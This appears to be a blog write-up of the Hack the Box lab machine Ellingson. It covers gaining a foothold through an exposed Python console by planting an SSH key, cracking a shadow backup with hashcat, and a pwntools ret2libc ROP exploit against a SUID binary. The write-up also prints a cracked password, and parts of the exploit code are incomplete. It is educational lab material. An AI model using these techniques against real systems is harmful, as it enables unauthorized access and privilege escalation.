Cookie Consent by
Posts Hack the Box - Ellingson

Hack the Box - Ellingson


Ellingson was a very interesting box personally. Marked as hard by Hackthebox it involved web enumeration and python console abuse for initial foothold, finding sensitive backup files and hashcat cracking for user pivot, finally into a ROP based overflow exploit for root priviledge escalation. Ellingson was the second ROP based exploit machine I've worked on within HTB. The first machine, still an active box and will remain unnamed until that writeup is released, was more simplistic than Ellingson and acted as a good base to understand the concepts. This machine required more advanced tactics involving a ret2libc approach and while I developed the exploit manually for the first machine I took the opportunity here to work with a more advanced framework - python's pwn lib.

Initial Recon

As usual, let's start it off with an nmap enumeration.

nmap -sV -sC -v

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing out of the usual so let's take a look at the web service and see what we can find. Looks like a company page. Before we start poking around manually we make sure to kick off burp and get a better idea of the layout.

After taking a look at the various pages, there was some interesting information on the various articles. There was some discussion about previous security incidents and some common password warnings.

It seems we're loading the various articles by just going to the reference page number url. Let's see what happens when we try to go to a page that doesn't exist like "4".

Ok some error messages and leakage indicating that at least python is installed on the machine. While scrolling through the error messages I accidentally moved my over to the side and noticed a terminal icon pop up. I thought that seemed quite weird, so looking further into it I quickly realized this was actually a python console, running as the user hal!

With some initial poking around I realized that there were four users (or at least for homedirectories). Since we were running as hal we had access to his homedir. Unfortunately, no user flag present there, however we did have access to his .ssh folder and subsequently authorized_keys. Let's add our own in there and see if we can get access properly through ssh.

>>> os.chdir("/home/hal")
>>> os.getcwd()
>>> dirlist = glob.glob('.*')
>>> print(dirlist)
['.profile', '.bashrc', '.ssh', '.local', '.gnupg', '.bash_logout', '.viminfo', '.cache']
>>> os.chdir(".ssh")
>>> dirlist = glob.glob('*')
>>> print(dirlist)
['id_rsa', 'authorized_keys', '']
>>>open('authorized_keys', 'a+').write('\nssh-rsa AAAAB3N...XBuOItl root@kali\n')

And with that we now have proper shell access.

User exploitation

Since hal wasn't the true "user" in this case we know we still need to pivot to one of the remaining users. As as first step let's get some recon scripts over to the host.

root@kali:../tools# scp hal@                       100%   45KB 513.4KB/s   00:00    

Unfortunately nothing really pops out as a result of running it so back to the drawing board. After scratching my head for a bit I realized something that was right in my face from the initial shell access.

hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

That's right, hal is also part of the adm group. Now what does that give us as far as information.

hal@ellingson:~$ find / -group adm 2> /dev/null | head -n1
hal@ellingson:~$ cat /var/backups/shadow.bak | tail -n 4

Just like that looks like we have the password hashes for the four users! Time to format a file and see if we can crack this with hashcat.

Kicking off hashcat using -m 1800 and the trusty old rockyou wordlist we manage to crack two of the hashes - for theplague and for margo.

hashcat-5.1.0>./hashcat64.exe -m 1800 -a 0 ..\hashes.txt ..\rockyou.txt

I tried ssh'ing in as theplague first, unfortunately that password seemed to have been changed since the backup was taken. Alright, let's give margo a chance.

Bam! User in the books, let's move on to root.

Root exploitation

Having moved the privesc scripts over from the previous pivot I decided to rerun them and see if anything else comes up now that we are running as margo. This time I noticed a process binary garbage I wasn't familiar with. Looks like it also has SUID set. A quick search online didn't return anything for /usr/bin/garbage. That seems promising, let's take a closer look.

Hum...ok so need to supply a password. Let's see if we can overflow it.

SUID set, check. Overflowable, check. I think we have ourselves an attack vector. For ease of investigation let's grab a copy of the binary and bring it over to our own machine. Before diving into gdb I opened up ghidra to see what can be found with a decompile. We see the password it is searching for in the clear.

Now, let's try the password and see if we get any further.

Enter the ROP

While interesting, the process itself doesn't seem to do anything useful. Let's go back to our local version and attach gdb this time with a unique pattern created to perform the overlfow.

$rsp   : 0x00007fffd6e11b08  →  "e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1[...]"
$rbp   : 0x4134654133654132 ("2Ae3Ae4A"?)

root@kali:~/Desktop/HTB/Ellingson# /usr/bin/msf-pattern_offset -q e5Ae
[*] Exact match at offset 136

So we know that the exact offset is 136 and from then on we control the stack. I initially forgot to what types of restrictions the binary had. Let's quickly do that as well.

Alright so the stack is non-executable. Since we control the stack and NX is set this seems like ROP territory. Unfortunately looking at the ghidra decompile there doesn't seem to be anything locally sourcable like system() within the binary. Last check, with our margo console let's see if ASLR is set - sure enough it is.

Our understanding so far:

  • ASLR is set - code from external libraries will not always be at the same memory address.
  • We control the stack.
  • NX is set - we cannot put executable code onto the stack.
  • No locally sourced functions within the binary seem interesting.

While there aren't any system() style calls we can leverage (i.e. that would be at the same address offsets we can call) there are several puts() calls being made. Since this is part of libc we may be able to leverage this to our advantage. From having ASLR set unfortunately we know that the library will load at a different address each time. Although the adress will be randomized, it's only the base that is randomized. Since we are calling puts() we will have insight into libc. If we can get an exact copy of the version being used, we can use the puts() offset to calculate the base address of libc and ultimately be able to call any function within it. With that said, our approach comes down to:

  • Get a copy of the libc version running on Ellingson.
  • Find a way to leak the address using puts().
  • Calculate the offset based on leaked address to leverage system().
  • Add system() as uid=0 to our ROP chain.

The first part was simple enough. As margo we were able to copy the libc library on to our local machine. Combined with the garbage binary we have everything we need to try and get this to work.

margo@ellingson:~$ ldd /usr/bin/garbage (0x00007fffbcdf2000) => /lib/x86_64-linux-gnu/ (0x00007f5d6eb2b000)
	/lib64/ (0x00007f5d6ef1c000)
margo@ellingson:~$ exit
Connection to closed.
root@kali:~/Desktop/HTB/Ellingson# scp margo@ .
margo@'s password:                         

At this point I could continue to develop the exploit manually. Since I did that with the other HTB machine I wanted to explore other ways of getting this done. During my research I saw several references to python's pwn lib library and decided I would take the opportunity to learn how to use it. pwn lib intro and pwn lib ROP reference documentation was invaluable in understanding how the library worked.

PWN lib

Let's get the initial template setup. We have margo's password so let's connect to the host and call the binary.

from pwn import *

import warnings

#Ignore paramiko ssh encryption warnings -

context(os = 'linux', arch = 'amd64')
shell = ssh(host='', user="margo", password="iamgod$08")
p ="/bin/bash")

#Checking extra information while developing
context.log_level = 'DEBUG'

#Pull local versions of binary and libc, creating pwnlib objects 
garbage = ELF('garbage')
libc = ELF('')

#Junk characters to fill up buffer
junk = "A" * 136

payload = junk + junk

So far so good, let's start adding the ROP section. Our initial effort is to call puts() and leak the address. We find a pop rdi,ret gadget then add libc's puts address from the global offset table to the stack, then call puts() to print the address. Finally we call the main function to loop the execution flow back and avoid having the binary break.

#ROP Chain designed to leak libc address['rdi'], order='regs')
#Recall main once overflowed['main'])
print "ROP Chain:\n{}".format(rop.dump())

payload = junk + str(rop)

Perfect. Now let's see if we can print out the address and run it a few times to see it in action.

payload = junk + str(rop)
leak = p.recvuntil('denied.')
leaked_puts_address_in_libc = p.recv()[:8].strip().ljust(8, "\x00")

libcaddr = u64(leaked_puts_address_in_libc)
print("LIBC Puts() address {}".format(hex(libcaddr)))

Great! Now that we have the offsetted puts() address we can come up with our second ROP chain, this time hopefully to execute system() and pop our root shell.

#Add ROP to execute system(/bin/bash) as uid=0
#based on the leaked libc addresses
libc.address = leaked_puts_address_in_libc - libc.symbols['puts']
print("LIBC Main address {}".format(hex(libc.address)))

rop2 = ROP(libc)
print "ROP Chain:\n{}".format(rop2.dump())

#Format the second payload
payload = junk + str(rop2)

And with that, Ellingson is in the books.

Extra notes

After the pain of manually developing the ROP exploit for the other active box I was shook at how easy and intuitive pwn lib really was. I definitely suggest going through both approaches to understand the concepts at a deeper level but once you understand how it works this library definitely helps speed up the process.

Personally I'm giving myself a few follow ups from having this box completed:

  • Go back to the other ROP exploit and see if using pwn lib makes the exploit easier than my kludgey way of doing it.
  • Explore further the functionality of pwn lib and what else it can offer / become more familiar with the various uses.
  • Follow up my first buffer overflow presentation with a second one covering ROP and more advanced topics.

Thanks folks. Until next time.

This post is licensed under CC BY 4.0 by the author.